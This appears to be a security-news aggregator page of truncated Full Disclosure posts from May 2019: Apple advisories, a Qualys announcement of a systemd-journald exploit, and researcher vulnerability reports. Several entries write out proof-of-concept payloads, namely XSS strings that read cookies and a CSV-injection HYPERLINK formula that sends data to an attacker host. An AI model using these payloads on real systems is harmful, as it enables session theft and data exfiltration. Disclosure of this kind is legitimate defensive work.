Re: System Down: A systemd-journald exploit
» ‎ Full Disclosure

Posted by Qualys Security Advisory on May 13
Hi all,

Our systemd-journald exploit for CVE-2018-16865 and CVE-2018-16866 is
now available at:

https://www.qualys.com/2019/05/09/system-down/system-down.tar.gz

It is also attached to this email. A few notes about this exploit:

- It supports several targets by default (vulnerable versions of Debian,
Ubuntu, Fedora, CentOS), and it should be relatively easy to add more
targets.

- When adding a new amd64 target, use the...

Tags:
11:19
APPLE-SA-2019-5-13-5 Safari 12.1.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 13
APPLE-SA-2019-5-13-5 Safari 12.1.1

Safari 12.1.1 is now available and addresses the following:

WebKit
Available for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, and
included in macOS Mojave 10.14.5
Impact: Processing maliciously crafted web content may result in the
disclosure of process memory
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2019-8607: Junho Jang and Hanul Choi of LINE Security Team...

Tags:
11:19
APPLE-SA-2019-5-13-6 Apple TV Software 7.3
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 13
APPLE-SA-2019-5-13-6 Apple TV Software 7.3

Apple TV Software 7.3 is now available and addresses the following:

Bluetooth
Available for: Apple TV (3rd generation)
Impact: A remote attacker may cause an unexpected application
termination or arbitrary code execution
Description: An input validation issue existed in Bluetooth. This
issue was addressed with improved input validation.
CVE-2017-14315: Ben Seri and Gregory Vishnepolsky of Armis

Wi-Fi...

Tags:
11:19
APPLE-SA-2019-5-13-4 watchOS 5.2.1
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 13
APPLE-SA-2019-5-13-4 watchOS 5.2.1

watchOS 5.2.1 is now available and addresses the following:

AppleFileConduit
Available for: Apple Watch Series 1 and later
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2019-8593: Dany Lisiansky (@DanyL931)

CoreAudio
Available for: Apple Watch Series 1 and later
Impact: Processing a...

Tags:
11:19
APPLE-SA-2019-5-13-3 tvOS 12.3
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 13
APPLE-SA-2019-5-13-3 tvOS 12.3

tvOS 12.3 is now available and addresses the following:

AppleFileConduit
Available for: Apple TV 4K and Apple TV HD
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2019-8593: Dany Lisiansky (@DanyL931)

CoreAudio
Available for: Apple TV 4K and Apple TV HD
Impact: Processing a maliciously...

Tags:
11:19
APPLE-SA-2019-5-13-2 macOS Mojave 10.14.5, Security Update 2019-003 High Sierra, Security Update 2019-003 Sierra
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 13
APPLE-SA-2019-5-13-2 macOS Mojave 10.14.5, Security Update
2019-003 High Sierra, Security Update 2019-003 Sierra

macOS Mojave 10.14.5, Security Update 2019-003 High Sierra,
Security Update 2019-003 Sierra are now available and
addresses the following:

Accessibility Framework
Available for: macOS Sierra 10.12.6, macOS Mojave 10.14.4
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with...

Tags:
11:19
APPLE-SA-2019-5-13-1 iOS 12.3
» ‎ Full Disclosure

Posted by Apple Product Security via Fulldisclosure on May 13
APPLE-SA-2019-5-13-1 iOS 12.3

iOS 12.3 is now available and addresses the following:

AppleFileConduit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2019-8593: Dany Lisiansky (@DanyL931)

Contacts
Available for: iPhone 5s and later, iPad...

Tags:
11:18
[CVE-2019-8978] Improper Authentication (CWE-287) in Ellucian Banner Web Tailor and Banner Enterprise Identity Services
» ‎ Full Disclosure

Posted by Joshua Mulliken on May 13
===================
Title: [CVE-2019-8978] Improper Authentication (CWE-287) in Ellucian Banner Web Tailor and Banner Enterprise Identity
Services
Author: Joshua Mulliken <
joshua () mulliken net

Thanks to: Carnegie Mellon University CERT Coordination Center
Date Found: Dec. 17, 2018
Vendor: Ellucian Company L.P.
Vendor Homepage:
https://www.ellucian.com
Products: Banner Web Tailor and Banner Enterprise Identity Services
Web Tailor Affected...

Tags:
11:16
TOR browser / Firefox telemetry data
» ‎ Full Disclosure

Posted by Bipin Gautam on May 13
POC:

tl;dr

run just Firefox browser / TOR and just nothing

and tcpdump the computing device / network

firewall BLOCK all IP/A names, gradually... that shows up in tcpdump
when you do not using firefox but it connects automatically (if you
block something firefox hops to something else, 3-5+ times )

QUICK FIX:

in address bar:

about:config

search for string:

org

com

mozilla

firefox

google

...?

to start with : almost all... the url...

Tags:
6:27
SEC Consult SA-20190513-0 :: Cleartext message spoofing in supplementary Go Cryptography Libraries (@sec_consult)
» ‎ Full Disclosure

Posted by SEC Consult Vulnerability Lab on May 13
Then the message was tampered by changing the value of the "Hash" Armor Header
from SHA-1 to SHA-512:

(content of hash_spoof.asc file):
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Message to be signed
-----BEGIN PGP SIGNATURE-----
iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO
+u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq
9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N...

Tags:
May 10, 2019
10:18
Cross Site Scripting | WolfCMS v0.8.3.1 and before
» ‎ Full Disclosure

Posted by Pramod Rana on May 10
Description: WolfCMS v0.8.3.1 and before is vulnerable to cross site
scripting in User Add module for parameter Name.

Impacted URL is http://[your_webserver_ip]/wolfcms/?/admin/user/add

Payload used is "TestXSS><img src=x onmousover=alert(document.cookie)>

Further details: https://github.com/wolfcms/wolfcms/issues/683

Already requested for CVE, yet to receive it.

Tags:
10:18
CSV Injection | Alkacon OpenCMS v10.5.4 and before
» ‎ Full Disclosure

Posted by Pramod Rana on May 10
Description: OpenCMS v10.5.4 and before is vulnerable to CSV injection in New
User module for parameter First Name and Last Name

Impacted URL is
http://[your_webserver_ip]/opencms/system/workplace/admin/accounts/user_new.jsp

Payload used is
'=HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe")'

Further details is available here
https://github.com/alkacon/opencms-core/issues/636

Already requested for...

Tags:
10:18
Cross Site Scripting | Alkacon OpenCMS v10.5.4 and before
» ‎ Full Disclosure

Posted by Pramod Rana on May 10
Description: OpenCMS v10.5.4 and before is vulnerable to cross site
scripting in New User module for parameter First Name and Last Name

Impacted URL is
http://[your_webserver_ip]/opencms/system/workplace/admin/accounts/user_new.jsp

Payload used in PoC is "TestXSS<img+src=x+onmouseover=alert(document.domain)

Further details is available here
https://github.com/alkacon/opencms-core/issues/635

Already requested for CVE, yet to receive...

Tags:
10:17
Re: dotCMS v5.1.1 HTML Injection & XSS Vulnerability
» ‎ Full Disclosure

Posted by John Martinelli on May 10
Read full vulnerability report @
https://secureli.com/dotcms-v5-1-1-open-redirect-vulnerability/

dotCMS v5.1.1 suffers from an Open Redirect Vulnerability, in addition
to many other vulnerabilities that I am still verifying.

The following URL is a proof-of-concept that requires a user to be
logged in. Simply login to the demo before visiting the supplied POC.

Logging into the demo requires you to go to
https://demo.dotcms.com/dotAdmin <...

Tags:
10:17
dotCMS v5.1.1 HTML Injection & XSS Vulnerability
» ‎ Full Disclosure

Posted by John Martinelli on May 10
Read full vulnerability report @
https://secureli.com/dotcms-v5-1-1-html-injection-xss-vulnerability/

dotCMS v5.1.1 suffers from an HTML injection and XSS vulnerability, in
addition to many other vulnerabilities that I am still verifying.

There's a screenshot available on my blog link above.

To reproduce this vulnerability, simply go to
https://dotcms.com/dotAdmin/ and login with their demo credentials
(username: admin () dotcms com...

Tags:
10:17
dotCMS v5.1.1 Vulnerabilities
» ‎ Full Disclosure

Posted by John Martinelli on May 10
Hello,

I identified several vulnerabilities in dotCMS v5.1.1 due to vulnerable
open source dependencies.

Full security write up:
http://secureli.com/dotcms-v5-1-1-vulnerable-open-source-dependencies/

The details:

/ROOT/html/js/scriptaculous/prototype.js

↳ prototypejs 1.5.0
prototypejs 1.5.0 has known vulnerabilities: severity: high; CVE:
CVE-2008-7220; http://www.cvedetails.com/cve/CVE-2008-7220/...

Tags:
10:14
Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF,vulnerability via unauthenticated GET Request
» ‎ Full Disclosure

Posted by David H on May 10
<!--
# Exploit Title: Enghouse Interactive´s CCSP 7.2.5 API XXE and SSRF
vulnerability via unauthenticated GET Request
# Date: 05-08-2018
# Exploit Author: David Herrero
# Vendor Homepage: https://www.enghouseinteractive.com
# Software Link:
https://www.enghouseinteractive.com/products/contact-center/contact-center-for-service/
# Version: Enghouse Interactive´s CCSP 7.2.5.102
# Tested on: Windows
# CVE : CVE-2018-8940
# Category:...

Tags:
10:13
WordPress Plugin Form Maker 1.13.3 - SQL Injection
» ‎ Full Disclosure

Posted by Daniele Scanu on May 10
# Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection
# Date: 22-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://10web.io/plugins/
# Software Link: https://wordpress.org/plugins/form-maker/
# Version: 1.13.3
# Tested on: Wordpress 5.1

Description:
In the Form Maker plugin before 1.13.3 for WordPress, it's possible to
achieve SQL injection in the function get_labels_parameters in the file...

Tags:

Skip to page: 1 2 3 ... 96

← Bugtraq XSSed →

jetlib.sec » Full Disclosure

Feeds

Full Disclosure

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags:

Tags: